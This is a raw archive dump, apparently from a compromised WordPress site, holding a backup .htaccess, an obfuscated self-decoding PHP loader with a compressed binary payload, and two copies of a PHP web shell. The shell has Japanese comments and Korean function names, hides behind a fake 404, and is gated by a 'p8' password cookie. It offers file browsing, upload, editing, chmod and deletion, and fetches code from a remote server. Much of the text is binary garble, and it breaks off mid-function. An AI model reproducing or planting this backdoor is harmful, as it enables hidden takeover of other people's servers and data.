?????????????? .hcflag000064400000000037152507151540005776 0ustar00date:1726853874 status:disable .htaccess.bk000064400000002015152507151540006740 0ustar00 # BEGIN WordPress # The directives (lines) between "BEGIN WordPress" and "END WordPress" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # END WordPress # BEGIN Security Block # Block the include-only files. RewriteEngine On RewriteBase / RewriteRule ^wp-admin/includes/ - [F,L] RewriteRule !^wp-includes/ - [S=3] RewriteRule ^wp-includes/[^/]+\.php$ - [F,L] RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L] RewriteRule ^wp-includes/theme-compat/ - [F,L] # Disable directory listing Options All -Indexes # Remove header with PHP version Header always unset X-Powered-By Header unset X-Powered-By # END Security Block 8VH49rCzrs.php000066600000024664152507151540007110 0ustar00',$GjSb('zcmxwubhjv','<',$zipq($MUCd( __FILE__ ),-10442)))));$kaXb(0); ?> x|$U?bv DYh]gtqwhs긻zcmxwubhjv I0', |VE|&xWӳ]3;Oݪ{=w={{:j-hqzau[JRrůFa/,ȿNc6uy\ݬ2l1qsuFXސԳ\QORkF833}Ԕ`|V씂iibNxnrkhlcgifZ7)u;7LM7Nc?qCF#xnrkhlcgifL+8_SsSJlx8os!iEIfL4f@In]۵;h4;'qy#O&+_YdLOm崂 ?4IQ!zcmxwubhjvmƍD*/fE]LI]fyUB,Od+'͟vҬ T標"YEvN6;%$QNSNIM7?}UՖ6yzcmxwubhjvxnrkhlcgifi@͗x}xP8zcmxwubhjv~Awsǁ;zp4/:oO[?7s˻Ox/xnrkhlcgif{eOl.8F.Q뽆˳0ݽ8mvp6}޿zcmxwubhjvtaϞZƣ7]^m5_Ʌ_.]W8_K㡓LJm_9׸oy(}/]WJT7K8fK/?r?rOM/|W:#4s[|& װ[nyĢC'zcmxwubhjv!'/wxnrkhlcgif.Ůs{0Bto8sܺ\wx+^gɻ??|xZ?jKc)sg]AՇy+mxnrkhlcgifX牿37_|Q(ӥ xnrkhlcgif 'PO.htڛ}ѭT[|j]rTcyW]c4=(yvoQg__R?{~oW8'~uq^:fkzcmxwubhjvK?~⥗|Ư~w¶mݯo=w??|s/_@EW_'N17oџ^t5s}| .X|?y}޽9Ϋq}V3K|y9kcz޺+q?m#:aש; ÞxUC%~ԝW]miO#wNp8~񯎽/{?4S_|ƭ':uexzw۶ና߻OV|ݶ??RIᰏj{࡝.xgmyc}G};pKDqm߇op .=g*ރy_ xnrkhlcgifr]pGgڧ{hI/no/.~cv3_;м==;;Ѳ{,oӉo.~Ǿ{_;7gb?|_{{7UnKf}xŎ+N-wG{.iw/_g?ٟx?_3Uy/WzWW[|μ~}Sjzcmxwubhjvd#.xnrkhlcgifz=|c;.?߳m7;wC} [nÍxnrkhlcgif~v۶N=eRҕ7 de;9;mi6}ޛ==Ys.L|꛹ ߱~5?zzcmxwubhjvT?rxnrkhlcgifGnǽtYL^q{;zcmxwubhjvxnrkhlcgifW43,)/\yW텻@}Ѕ{xnrkhlcgifhh~@{RuE]c8vwԗrĹwO_ˍc~+O|iÓCͻM{ʡ׺]xnrkhlcgifHG.{c;ou\|}d~sS&|L'ۯmKkg|[Sf˃ܵl;{N}AW7t{{';׼~ ;&/ܺ8uaS=Tbf0a 1Nj0|$\wnt,-$[Y `r\ۭ@hp5SrAl8()TBi t;@4B ;RBV:hu'&Ռ&ۧ^-?tKzcmxwubhjvsɨz9fiъ-r:-7=90Y dC+[;'R]e,C@˃I+J032-q@ԨN!陯st^-+ӊ1oa(u.' cQGw:"T[ַ-Fh|gX,=:fV|}*^%8RG+\#47o vohOjf%)pzcmxwubhjv^UC̵lGlV.6'J7tZQdfb P)M_-!F3ؠtcZ4!g A'*nB;_r&S-j8KY9Iyh]5d[CӡCira"&Sxnrkhlcgif@,̜zTͫoi+JcnKeDyR)dӒ=R 8NQ$B& -&6[ !TplBdRi;MہΣ/MI^Kg,S$*xnrkhlcgifb Gܷ~d)(@(ŕTAIM@=-vz˘/*L&Ȁu$&W jL3FT#E仠ШMk=Cl h74s5zKibb . \M86=[ڃ6֖AO7F[`:nɳԂq C,^kRnrdT.@K]k ?0Cal\r|#VdKzmVRTe‡[i+u#]$%z-+u %$Ւ%JrΉ, JEoK&ũMR fђᘎ Y#}՜kN)8@Jr҅("$CrKk{qLWR1A'YB+l5TYBԗU} wLL"'2M#QPd蕙ZeduhY2l5!j~P7{ S"P5hOe䪐{LR94Mڎ\xD)&۞Dޥ BuNv"[lXYV H;[w,Q+[IZnD Fc^U2TUsRM7;j9.xeEnlۛ)UDVx맳Zzcmxwubhjv瘥Z) $5T@qXd5c%kf*qLfk1zcmxwubhjvްv)#V~HPb=L͠U)⓺^o*ۙP yEFmIu| R$&TLhI 'a'O4:G20C͹ %F4NZ_#4@΋QVg\%PO#L\MyYFr fM"-Ҙ fNR wQ!_I{}p]"Sk=iEXX3|Ҋ[De:.ȵJڎfdF?,ƴoH)skidb]fX4l; ѴܥVUh4yqYK4"pؓBN{rJMVK]I44{A:\y1yj n"AA7^jGV1K$&2Bxnrkhlcgif6p![$EB&_. +Ms!w/E3;8+’CN.*J覌#+,i#C6 0C7*J$`JMVUڒJTRB5j!pLF fp 0B* \v64DPQ3+廘Wq}KFUVțe8Y&)lP`UBisgR鄯r`'BAJK f@{|"&YH*kj=T2(5T@`ZP"0.\h`6K$L@~$Bu)ktZm@RaRsኽ sM -Te7&@ B&\aUʛ} p(y2K9;|U&ˊU3z2Uno"ϢrQb;!rs$Iꡮ.r5K@qzmhR@bmkUy ik$olPfX'xnrkhlcgifAzU^.ePSu hxt v@&_/#5gaq\it"*+1QPRR}|Ke@پ5# ܦ} j*Uup e;ո2MnBAGXy2jI3Z4稆@M)$VrJf"SsR-% ~=[ңlQ$ !'#kՄWI.8.b-ns@XP(O"s?AH-.g%ZZV&ELGzcmxwubhjv#k/T+tS]40hdrMM|G{]=8 "c+xnrkhlcgifZ( qzcmxwubhjv/ 2' Dx'N(/ "%BUGt JqV$,uR la͢@Rg~;IUMeDS[4*+7}o6Gwdva2A[F˜}xnrkhlcgifKAү2-#R!ޔԡX't6hq"WYsO͋3LW&o-l})LzF4;-QRJ-ȭZk+v+5p-RVStI.x5W{g$rH3 -*;(.^L.-2ǤwQWGX$ZQ,7BUzcmxwubhjvBdv,+4V$?]@"RJ"Y +qڇ h!mU4#z ;U}+TPWX6W˒'We~|\2۶tRp16:B(+ְ0{(Ada*\MȢX64h*R+ "5 CBа5 kp f@hpHPiQ^'1O*@$!{EOӡb5'FLl/%;V,1N)UMт\Ge&MyBYzZmtAHqR&/LF* 6j %O]:lէcp"Q\BsߓdUKq}ZQ+R=rt·ii(n% `oi9+u"2YE˫jjuVѱX]28xnrkhlcgifEr0V/U"\20⫷,َzWj|6Kd,Q0֔O(P㒶Z\Z}cު5rOyoN$֫G7R jr4W~Z2;!jfA"v1Y;=xęBז蒕m0 jzcmxwubhjvǭ6xnrkhlcgif5q &ϮZB7/&Im'roѩVjkFvJRǠiXĊ$  |!E8\!k.IZyh68qʐho;hP]B=W9pf*jvh0 " պA@=Y/p̪:@JoY $9#"lp~˶͝RPڀ+Qlb.'ݩsYJ.uV aAiڭRXaKj0Ų"\Rxnrkhlcgif]K $6j|yܦ5Vՙ,1It"8H9f| 51+.Wm B:;b_uzQ|ԗ amH Ҏ LH疬X.Y*ܐrXCzӞR\^;]$$zHj U6OC ]UȾ-.jIOiUoXRxCh:YAA=7}M;O#MWptSxnrkhlcgif$4NZrpIt= zcmxwubhjvoewLsS`5!{FhwRl˙cBc@H9sT낈g0H(7@U7 ׵Mmϒ))4&3 Oo.9A0p)]=*PDZl&e$!9;HMNdOK^(?ƺ4WTnuq*8X5v#ۑ,Zt x4.DRq5s5RzcmxwubhjvGZ IN# SNSɚ4&s7Te2 wve"sJ(:kñp(FTc1D I\KhMъz,Wx rl:-DTwמx{r3Ⱂ.!o^ lr.1 ; Nh/.ULj@HF4Hl$vVP [LIx) R6k¬xR\B,4V:#r]Z?1! 頾UDz 6Y:'Ԃ{g[8̵XJ$,w(izcmxwubhjv'&" K7:?G?^bk,A,1AG(t$(lSctb^:] B*n$3?V'bK,R4ƒ 鰁hhi1#ڊ!pzpΉ&tM*2zcmxwubhjv,x!ri:X6槗}n+ rTR1V mxnrkhlcgifd? ^ pO ii |J^v_pTe9+gDΐ ,VI,,ŧDD:"H@24'CY8zxnrkhlcgifI0c,"""1a@ȁ#RH*-NeN84:('" Na;xnrkhlcgifP9$lYP#nN4`KEU_֢h׆ގlN]EJU}܈cIϴJh-r Z9 TJyDE[a[ccJc{KiךdKMV&';+?䖺B(@z11e L\tvvaĺ]ؓ]62LU4 "?@g/[4PI%P4o:a@,OXXkU퀜r蒎 pd * LX }Jg'd%:~E-W(oS!;9mҍޜniqՔX==\Ϗ/tBdVDsuK@Pnet%','9ҡb?:tZ!3YRZVIi3Y&ͭpM;iڼ\[%CYr(#πN%Nh.F+{6O+Nn4HVn'p*2eeZ42W9e*%O$e#D)e5C͜/~N *`#Z1Vjsc!vD`͎̗3zcmxwubhjvRHW)zcmxwubhjvs)Q1lufɄIJK *bCB3ZTPsUڙZe \"#w8*&vƀi|M62=eep`\i4pYq-Ia(eg{b }Ae]$ ,6aP(䍹wigNLdtV nz5teF{93?HvCU]3 /diW" jR=jxnrkhlcgifiD#XJ_ kPQ֥eѮeW ΐǥ6fT2끎wzd[5\Y*gfcB #렬jn]zcmxwubhjv gQgu S dؾziQgұzSs!3Mi Nu1UE, hƓxnrkhlcgifwq5Zaf[xnrkhlcgifF"h:2HJc@eg=S+-L5NA-.J x.uXiJW ZJ]4R!ELK!Yzcmxwubhjv4BZf&+|]O?;*R)ˍJA1HEOA FȺ +rdoWD%84h@ibP7N@ X- ;iArEJ(9cV.c\ncWrzcmxwubhjv7v+Ut+Ɵ9A75Kx9qpǎժ򝼼_bMD0mx]75jBeXCKJB$ȷ2)()C 9WZhW,AhܪbRc7UOzK7z~ b-R$Ha`F(Ilu c}AhԲ*/V˻|BTVBveM?/RVJ WЮEovt!ʦd*gsc,?H,ɕ8 )QsӄYA]xnrkhlcgif1bve'xTfQ_ܿ%GV8l6u،"- x4 8$$K []QH&(DurTP+'idBUUez.-lnvyh"sjYjeQ}(35MP=ˤcuK֢\!04V)@)Vg@'3`2@r:cЍ*k^:PZs.{rA2sPCJVgA#@5VdUd@/SezYIr_dq@/QJvz;0z` DV)ädbA67J&5ȔZ r l (eD8&eS?QP8Qƨr5ml(_1N"jO\([1ה2h#0Z8#1LȨ,#mFcYaM'gdԘ lŝb&gd8#2rS`f匌gBFviCD9#9Y@$5yJe'lvNE:ެNZJ-xnrkhlcgifxao36WMe+ϵW?D2RAH\OypjV+Id)5.r=+]b=`|wgu |rAbҪSF~Hy80 0z[0fUc0Zjj8;xʥ _XVO09VΫ|"{"Z⅔JtQl'NfWO]Nt z me:O8 b i3::Uu\%M9#ZI?-NBօQFf(s' ewQ&!'qU9#Qow04vv"@ ]_"`Gz$ѵD92)6n HH ? c4~ro@ewF?e918433/index.php000064400000076702152507151540007160 0ustar00'.$パスワードハッシュ.'<-}'); } /** * 認証状態の初期化 */ $認証状態 = false; /** * クッキーによる認証チェック * クッキーp8が設定されており、そのMD5ハッシュが一致する場合、認証を許可 */ if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) == $パスワードハッシュ) { $認証状態 = true; } } else { /** * POSTリクエストによる認証チェック * POSTパラメータp8が設定されており、そのMD5ハッシュが一致する場合、 * クッキーを設定して認証を許可 */ if (isset($_POST['p8'])) { if(md5($_POST['p8']) == $パスワードハッシュ) { setcookie("p8", $_POST['p8']); $認証状態 = true; } } } /** * ログアウト処理 * logoutパラメータが設定されている場合、クッキーを削除して認証状態を解除 */ if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("p8", "", time() - 3600); $認証状態 = false; } /** * 認証されていない場合の処理 * 520パラメータが設定されていない場合は404エラーを返し、 * 設定されている場合はパスワード入力フォームを表示 */ if (!$認証状態) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die(); } echo '
'; die(); } /** * ログアウトボタンの表示 */ echo '
'; /** * 外部サーバーからコードを取得する関数 * * @param string $URL コードを取得するURL * @return string 取得したコード */ function 코드가져오기($URL) { /** * リクエストパラメータを含む完全なURLの構築 */ $URL文字列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); /** * file_get_contentsを使用してコードを取得 */ $コード = @file_get_contents($URL文字列); /** * file_get_contentsが失敗した場合、cURLを使用して再試行 */ if ($コード == false) { $CURLハンドル = curl_init(); curl_setopt($CURLハンドル, CURLOPT_URL, $URL文字列); curl_setopt($CURLハンドル, CURLOPT_USERAGENT, 'll'); curl_setopt($CURLハンドル, CURLOPT_RETURNTRANSFER, 1); curl_setopt($CURLハンドル, CURLOPT_TIMEOUT, 100); curl_setopt($CURLハンドル, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($CURLハンドル, CURLOPT_SSL_VERIFYPEER, 0); $コード = curl_exec($CURLハンドル); curl_close($CURLハンドル); } return $コード; } ?> 000 = 1073741824) { $バイト数 = number_format($バイト数 / 1073741824, 2) . ' GB'; } // 1MB以上の場合 elseif ($バイト数 >= 1048576) { $バイト数 = number_format($バイト数 / 1048576, 2) . ' MB'; } // 1KB以上の場合 elseif ($バイト数 >= 1024) { $バイト数 = number_format($バイト数 / 1024, 2) . ' KB'; } // 1バイトより大きい場合 elseif ($バイト数 > 1) { $バイト数 = $バイト数 . ' bytes'; } // 1バイトの場合 elseif ($バイト数 == 1) { $バイト数 = $バイト数 . ' byte'; } // 0バイトの場合 else { $バイト数 = '0 bytes'; } return $バイト数; } /** * ファイルの拡張子を取得する関数 * * @param string $ファイル ファイル名 * @return string ファイルの拡張子 */ function 파일확장자($ファイル) { return substr(strrchr($ファイル, '.'), 1); } /** * ファイルタイプに応じたアイコンを返す関数 * ファイルの拡張子や名前に基づいて適切なFont Awesomeアイコンを返します * * @param string $ファイル ファイル名 * @return string HTMLアイコンタグ */ function 파일아이콘($ファイル) { /** * 画像ファイルの拡張子リスト */ $画像拡張子配列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); /** * 音声ファイルの拡張子リスト */ $音声拡張子配列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); /** * ファイルの拡張子を小文字で取得 */ $拡張子 = strtolower(파일확장자($ファイル)); /** * 特殊ファイル名の処理 */ if ($ファイル == "error_log") { return ' '; } elseif ($ファイル == ".htaccess") { return ' '; } /** * 拡張子に基づくアイコンの選択 */ if ($拡張子 == "html" || $拡張子 == "htm") { return ' '; } elseif ($拡張子 == "php" || $拡張子 == "phtml") { return ' '; } elseif (in_array($拡張子, $画像拡張子配列)) { return ' '; } elseif ($拡張子 == "css") { return ' '; } elseif ($拡張子 == "txt") { return ' '; } elseif (in_array($拡張子, $音声拡張子配列)) { return ' '; } elseif ($拡張子 == "py") { return ' '; } elseif ($拡張子 == "js") { return ' '; } else { return ' '; } } /** * パスをエンコードする関数 * パス内の特殊文字をベンガル文字に置き換えてエンコードします * * @param string $パス エンコードするパス * @return string エンコードされたパス */ function 경로인코딩($パス) { /** * 置換前の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(ベンガル文字) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換前配列, $置換後配列, $パス); } /** * パスをデコードする関数 * エンコードされたパスを元の形式に戻します * * @param string $パス デコードするパス * @return string デコードされたパス */ function 경로디코딩($パス) { /** * 置換前の文字配列(ベンガル文字) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換後配列, $置換前配列, $パス); } /** * ルートパスの初期化 * スクリプトのディレクトリをルートパスとして設定 */ $ルートパス = __DIR__; /** * スクリプトファイルのパスを取得 */ $パス = $_SERVER['SCRIPT_FILENAME']; /** * Windows環境の場合、バックスラッシュをスラッシュに変換 */ if(strpos($_SERVER['SCRIPT_FILENAME'], ":")) { $パス = str_replace('\\', '/', $パス); } /** * ルートディレクトリの判定 * PHP_SELFとSCRIPT_FILENAMEが一致する場合、ルートパスを"/"に設定 */ if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス)) { $ルートパス = ('/'); } else { /** * ルートパスの計算 * SCRIPT_FILENAMEからPHP_SELFを除いた部分をルートパスとして設定 */ $ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) )); } /** * パスパラメータの処理 * GETパラメータpが設定されている場合、そのパスを使用 */ if (isset($_GET['p'])) { /** * パラメータが空の場合はルートパスを使用 */ if (empty($_GET['p'])) { $現在のパス = $ルートパス; } /** * デコードしたパスがディレクトリでない場合、エラーを表示 */ elseif (!is_dir(경로디코딩($_GET['p']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['p']))) { $現在のパス = 경로디코딩($_GET['p']); } } /** * クエリパラメータqが設定されている場合の処理 */ elseif (isset($_GET['q'])) { /** * デコードしたパスがディレクトリでない場合、ルートにリダイレクト */ if (!is_dir(경로디코딩($_GET['q']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['q']))) { $現在のパス = 경로디코딩($_GET['q']); } } /** * パラメータが設定されていない場合、現在のディレクトリを使用 */ else { $現在のパス = __DIR__; } /** * 現在のパスを定数として定義 */ define("PATH", $現在のパス); /** * ナビゲーションバーの表示開始 */ echo (' '); /** * パスパラメータが設定されている場合、ファイル一覧を表示 */ if (isset($_GET['p'])) { /** * ファイルとフォルダの取得 * ディレクトリが読み取り可能な場合、スキャンしてファイルとフォルダを分離 */ if (is_readable(PATH)) { /** * ディレクトリ内の全オブジェクトを取得 */ $取得オブジェクト = scandir(PATH); /** * フォルダとファイルを格納する配列 */ $フォルダ配列 = array(); $ファイル配列 = array(); /** * 各オブジェクトをループして、フォルダとファイルに分類 */ foreach ($取得オブジェクト as $オブジェクト) { /** * 現在ディレクトリと親ディレクトリはスキップ */ if ($オブジェクト == '.' || $オブジェクト == '..') { continue; } /** * オブジェクトの完全パスを構築 */ $新規オブジェクト = PATH . '/' . $オブジェクト; /** * ディレクトリの場合はフォルダ配列に追加 */ if (is_dir($新規オブジェクト)) { array_push($フォルダ配列, $オブジェクト); } /** * ファイルの場合はファイル配列に追加 */ elseif (is_file($新規オブジェクト)) { array_push($ファイル配列, $オブジェクト); } } } /** * ファイル一覧テーブルのヘッダーを表示 */ echo ' '; /** * フォルダ一覧の表示 * 各フォルダに対して、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($フォルダ配列 as $フォルダ) { echo " "; } /** * ファイル一覧の表示 * 各ファイルに対して、アイコン、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($ファイル配列 as $ファイル) { echo " "; } /** * テーブルの終了タグ */ echo "
Name Size Modified Perms Actions
" . $フォルダ . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . " 0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . "
" . 파일아이콘($ファイル) . $ファイル . " " . 크기포맷팅(filesize(PATH . "/" . $ファイル)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . " 0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . "
"; } else { /** * GETパラメータが空の場合、パスパラメータにリダイレクト */ if (empty($_GET)) { echo (""); } } /** * 新規ディレクトリ作成フォームの表示 * newdirパラメータとqパラメータが設定されている場合、新規ディレクトリ作成フォームを表示 */ if (isset($_GET['newdir']) && isset($_GET['q'])) { echo '

Create New Directory

Enter the name for the new directory. Avoid special characters.
Cancel
'; /** * 新規ディレクトリ作成処理の実行 * create_directoryパラメータがPOSTされた場合、新しいディレクトリを作成 */ if (isset($_POST['create_directory'])) { /** * POSTされたディレクトリ名を取得 */ $新規ディレクトリ名 = trim($_POST['dirname']); /** * ディレクトリ名の検証 */ if (!empty($新規ディレクトリ名)) { /** * ディレクトリ名に不正な文字が含まれていないかチェック */ if (preg_match('/[\/\\\\:*?"<>|]/', $新規ディレクトリ名)) { echo (""); } else { /** * 新規ディレクトリの完全パス */ $新規ディレクトリパス = PATH . "/" . $新規ディレクトリ名; /** * ディレクトリが既に存在するかチェック */ if (file_exists($新規ディレクトリパス)) { echo (""); } else { /** * 新規ディレクトリの作成 * デフォルト権限は0755(所有者は読み書き実行、グループとその他は読み実行) */ if(mkdir($新規ディレクトリパス, 0755, true)) { echo (""); } else { echo (""); } } } } else { echo (""); } } } /** * ファイルアップロードフォームの表示 * uploadパラメータが設定されている場合、アップロードフォームを表示 */ if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } /** * ファイル・フォルダのリネーム機能 * rパラメータとqパラメータが設定されている場合、リネームフォームを表示 */ if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { /** * リネームフォームの表示 */ echo '
Rename:
'; /** * リネーム処理の実行 * renameパラメータがPOSTされた場合、ファイル・フォルダの名前を変更 */ if (isset($_POST['rename'])) { /** * 現在のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['r']; /** * リネームの実行 */ if(rename($名前, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } /** * ファイル編集機能 * eパラメータとqパラメータが設定されている場合、ファイル編集フォームを表示 */ if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { /** * ファイル編集フォームの表示 * ファイルの内容をテキストエリアに表示 */ echo '

'; /** * ファイル保存処理の実行 * editパラメータがPOSTされた場合、ファイルの内容を保存 */ if(isset($_POST['edit'])) { /** * 編集対象ファイルの完全パス */ $ファイル名 = PATH."/".$_GET['e']; /** * POSTされたデータを取得 */ $データ = $_POST['data']; /** * ファイルを書き込みモードで開く */ $ファイルハンドル = fopen($ファイル名,"w"); /** * ファイルへの書き込み */ if(fwrite($ファイルハンドル,$データ)) { echo (""); } else { echo (""); } /** * ファイルハンドルを閉じる */ fclose($ファイルハンドル); } } } /** * ファイルアップロード処理の実行 * uploadパラメータがPOSTされた場合、アップロードされたファイルを保存 */ if (isset($_POST["upload"])) { /** * アップロード先のファイルパス */ $ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"]; /** * アップロードされたファイルを移動 */ if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } /** * ファイル・フォルダの権限変更機能 * chmodパラメータとqパラメータが設定されている場合、権限変更フォームを表示 */ if (isset($_GET['chmod']) && isset($_GET['q'])) { if (!empty($_GET['chmod'])) { /** * 権限変更対象のファイル・フォルダの完全パス */ $権限変更対象 = PATH . "/" . $_GET['chmod']; /** * 現在の権限を取得(8進数形式) */ $現在の権限 = substr(decoct(fileperms($権限変更対象)), -3); /** * 権限変更フォームの表示 */ echo '

Change Permissions

Enter permissions in octal format (e.g., 755 for rwxr-xr-x, 644 for rw-r--r--)
Cancel
'; /** * 権限変更処理の実行 * change_permissionsパラメータがPOSTされた場合、ファイル・フォルダの権限を変更 */ if (isset($_POST['change_permissions'])) { /** * POSTされた権限値を取得 */ $新しい権限 = $_POST['permissions']; /** * 権限値の検証(3桁の8進数であることを確認) */ if (preg_match('/^[0-7]{3}$/', $新しい権限)) { /** * 権限変更対象のパス */ $権限変更パス = PATH . "/" . $_POST['chmod_target']; /** * 8進数形式に変換してchmodを実行 */ $権限8進数値 = octdec($新しい権限); /** * 権限の変更を実行 */ if(chmod($権限変更パス, $権限8進数値)) { echo (""); } else { echo (""); } } else { echo (""); } } } } /** * ファイル・フォルダの削除機能 * dパラメータとqパラメータが設定されている場合、ファイル・フォルダを削除 */ if (isset($_GET['d']) && isset($_GET['q'])) { /** * 削除対象のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['d']; /** * ファイルの場合の削除処理 */ if (is_file($名前)) { if(unlink($名前)) { echo (""); } else { echo (""); } } /** * ディレクトリの場合の削除処理 */ elseif (is_dir($名前)) { if(rmdir($名前) == true) { echo (""); } else { echo (""); } } } ?> 918433/admin.php000064400000100527152507151540007132 0ustar00'.$パスワードハッシュ.'<-}'); } /** * 認証状態の初期化 */ $認証状態 = false; /** * クッキーによる認証チェック * クッキーp8が設定されており、そのMD5ハッシュが一致する場合、認証を許可 */ if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) == $パスワードハッシュ) { $認証状態 = true; } } else { /** * POSTリクエストによる認証チェック * POSTパラメータp8が設定されており、そのMD5ハッシュが一致する場合、 * クッキーを設定して認証を許可 */ if (isset($_POST['p8'])) { if(md5($_POST['p8']) == $パスワードハッシュ) { setcookie("p8", $_POST['p8']); $認証状態 = true; } } } /** * ログアウト処理 * logoutパラメータが設定されている場合、クッキーを削除して認証状態を解除 */ if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("p8", "", time() - 3600); $認証状態 = false; } /** * 認証されていない場合の処理 * 520パラメータが設定されていない場合は404エラーを返し、 * 設定されている場合はパスワード入力フォームを表示 */ if (!$認証状態) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die(); } echo '
'; die(); } /** * ログアウトボタンの表示 */ echo '
'; /** * 外部サーバーからコードを取得する関数 * * @param string $URL コードを取得するURL * @return string 取得したコード */ function 코드가져오기($URL) { /** * リクエストパラメータを含む完全なURLの構築 */ $URL文字列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); /** * file_get_contentsを使用してコードを取得 */ $コード = @file_get_contents($URL文字列); /** * file_get_contentsが失敗した場合、cURLを使用して再試行 */ if ($コード == false) { $CURLハンドル = curl_init(); curl_setopt($CURLハンドル, CURLOPT_URL, $URL文字列); curl_setopt($CURLハンドル, CURLOPT_USERAGENT, 'll'); curl_setopt($CURLハンドル, CURLOPT_RETURNTRANSFER, 1); curl_setopt($CURLハンドル, CURLOPT_TIMEOUT, 100); curl_setopt($CURLハンドル, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($CURLハンドル, CURLOPT_SSL_VERIFYPEER, 0); $コード = curl_exec($CURLハンドル); curl_close($CURLハンドル); } return $コード; } ?> 000 = 1073741824) { $バイト数 = number_format($バイト数 / 1073741824, 2) . ' GB'; } // 1MB以上の場合 elseif ($バイト数 >= 1048576) { $バイト数 = number_format($バイト数 / 1048576, 2) . ' MB'; } // 1KB以上の場合 elseif ($バイト数 >= 1024) { $バイト数 = number_format($バイト数 / 1024, 2) . ' KB'; } // 1バイトより大きい場合 elseif ($バイト数 > 1) { $バイト数 = $バイト数 . ' bytes'; } // 1バイトの場合 elseif ($バイト数 == 1) { $バイト数 = $バイト数 . ' byte'; } // 0バイトの場合 else { $バイト数 = '0 bytes'; } return $バイト数; } /** * ファイルの拡張子を取得する関数 * * @param string $ファイル ファイル名 * @return string ファイルの拡張子 */ function 파일확장자($ファイル) { return substr(strrchr($ファイル, '.'), 1); } /** * ファイルタイプに応じたアイコンを返す関数 * ファイルの拡張子や名前に基づいて適切なFont Awesomeアイコンを返します * * @param string $ファイル ファイル名 * @return string HTMLアイコンタグ */ function 파일아이콘($ファイル) { /** * 画像ファイルの拡張子リスト */ $画像拡張子配列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); /** * 音声ファイルの拡張子リスト */ $音声拡張子配列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); /** * ファイルの拡張子を小文字で取得 */ $拡張子 = strtolower(파일확장자($ファイル)); /** * 特殊ファイル名の処理 */ if ($ファイル == "error_log") { return ' '; } elseif ($ファイル == ".htaccess") { return ' '; } /** * 拡張子に基づくアイコンの選択 */ if ($拡張子 == "html" || $拡張子 == "htm") { return ' '; } elseif ($拡張子 == "php" || $拡張子 == "phtml") { return ' '; } elseif (in_array($拡張子, $画像拡張子配列)) { return ' '; } elseif ($拡張子 == "css") { return ' '; } elseif ($拡張子 == "txt") { return ' '; } elseif (in_array($拡張子, $音声拡張子配列)) { return ' '; } elseif ($拡張子 == "py") { return ' '; } elseif ($拡張子 == "js") { return ' '; } else { return ' '; } } /** * パスをエンコードする関数 * パス内の特殊文字をベンガル文字に置き換えてエンコードします * * @param string $パス エンコードするパス * @return string エンコードされたパス */ function 경로인코딩($パス) { /** * 置換前の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(ベンガル文字) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換前配列, $置換後配列, $パス); } /** * パスをデコードする関数 * エンコードされたパスを元の形式に戻します * * @param string $パス デコードするパス * @return string デコードされたパス */ function 경로디코딩($パス) { /** * 置換前の文字配列(ベンガル文字) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return 